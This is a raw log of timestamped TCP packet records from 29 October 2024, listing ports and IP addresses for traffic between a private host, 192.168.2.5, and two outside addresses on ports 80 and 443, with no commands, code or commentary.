Oct 29, 2024 06:59:36.653870106 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653898954 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653913021 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.653930902 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653935909 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.653964996 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.653996944 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.654006958 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.654031038 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.654062986 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.654098034 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.654100895 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.654126883 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.654141903 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.654159069 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.654164076 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.654195070 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.654212952 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.654383898 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.655797005 CET	443	49909	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.656961918 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.656979084 CET	49909	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.657005072 CET	443	49909	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.657012939 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.657035112 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.657075882 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.657248020 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.657282114 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.657310963 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.657325983 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.657331944 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.657371044 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.658045053 CET	49909	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.658052921 CET	443	49909	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.684757948 CET	443	49910	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.685386896 CET	49910	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.685401917 CET	443	49910	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.685920954 CET	49910	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.685925961 CET	443	49910	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.690987110 CET	443	49907	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.691134930 CET	443	49907	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.691185951 CET	49907	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.693043947 CET	49907	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.693059921 CET	443	49907	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.693073034 CET	49907	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.693079948 CET	443	49907	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.693636894 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.693698883 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.693701982 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.693731070 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.693742990 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.693766117 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.693768978 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.693800926 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.693835020 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.693842888 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.693877935 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.699381113 CET	49913	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.699404955 CET	443	49913	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.699851990 CET	49913	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.700177908 CET	49913	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.700191021 CET	443	49913	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.722623110 CET	443	49911	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.723002911 CET	49911	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.723020077 CET	443	49911	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.723453999 CET	49911	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.723459005 CET	443	49911	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.730869055 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.730923891 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.730943918 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.730954885 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.730967999 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.730992079 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.731008053 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731050968 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.731057882 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731092930 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731098890 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.731128931 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731132030 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.731163025 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731168985 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.731198072 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731201887 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.731240034 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.731375933 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731429100 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731460094 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731475115 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.731513977 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731544971 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731556892 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.731595993 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731641054 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.731647015 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731679916 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731714010 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731724024 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.731748104 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731756926 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.731781960 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731813908 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731822968 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.731852055 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.731867075 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731899977 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731909037 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.731934071 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731939077 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.731964111 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.731971979 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732002020 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732016087 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732049942 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732054949 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732080936 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732089043 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732116938 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732131958 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732173920 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732187033 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732238054 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732239008 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732273102 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732316017 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732325077 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732359886 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732364893 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732428074 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732461929 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732470989 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732496023 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732515097 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732532978 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732542992 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732577085 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732584953 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732625961 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732636929 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732688904 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732696056 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732726097 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732731104 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732767105 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732777119 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732811928 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732814074 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732862949 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732880116 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732898951 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732904911 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732928991 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732943058 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.732965946 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.732970953 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.733000994 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.733002901 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.733033895 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.733047009 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.733068943 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.733069897 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.733098030 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.733130932 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.733160973 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.733160973 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.733165026 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.733197927 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.733231068 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.733239889 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.733304977 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.733336926 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.733340025 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.733365059 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.733370066 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.733392954 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.733403921 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.733405113 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.733428001 CET	443	49908	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.733437061 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.733443022 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.733470917 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.733486891 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.733509064 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.733544111 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.733580112 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.733598948 CET	443	49908	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.733614922 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.733624935 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.733689070 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.733717918 CET	49908	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.734549046 CET	49908	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.734549046 CET	49908	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.734565973 CET	443	49908	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.734575987 CET	443	49908	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.738342047 CET	49914	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.738364935 CET	443	49914	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.738431931 CET	49914	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.738547087 CET	49914	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.738559008 CET	443	49914	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.767910957 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768016100 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.768028975 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768064022 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768069983 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.768131971 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768167019 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768177032 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.768208981 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.768219948 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768263102 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.768271923 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768306971 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768341064 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768352985 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.768378019 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768424988 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.768431902 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768466949 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768475056 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.768497944 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768518925 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.768532991 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.768548965 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768583059 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768589020 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.768614054 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768621922 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.768652916 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.768666029 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768717051 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768758059 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.768769979 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768826962 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768855095 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.768868923 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.768897057 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768938065 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.768953085 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.768986940 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769021034 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769031048 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.769056082 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.769073963 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769109964 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.769125938 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769169092 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.769176960 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769212008 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769243002 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.769246101 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769253969 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.769279003 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769289970 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.769324064 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.769331932 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769376040 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.769382954 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769448996 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769484043 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769494057 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.769522905 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.769536018 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769577980 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769618034 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.769632101 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769666910 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769704103 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.769717932 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769768953 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769768953 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.769803047 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769835949 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769855976 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.769869089 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769877911 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.769905090 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769908905 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.769944906 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.769953966 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.769980907 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770015001 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770030975 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770050049 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770052910 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770083904 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770093918 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770118952 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770123959 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770152092 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770158052 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770188093 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770204067 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770235062 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770255089 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770270109 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770277977 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770304918 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770343065 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770347118 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770376921 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770411015 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770426989 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770445108 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770478964 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770493031 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770514965 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770524979 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770546913 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770562887 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770581961 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770586967 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770616055 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770622969 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770649910 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770654917 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770684004 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770719051 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770729065 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770751953 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770762920 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770787001 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770796061 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770823002 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770853996 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770855904 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770868063 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770889044 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770909071 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770922899 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770929098 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770956993 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.770965099 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.770994902 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.771003008 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.771028996 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.771033049 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.771061897 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.771070004 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.771094084 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.771126986 CET	80	49888	185.215.113.206	192.168.2.5
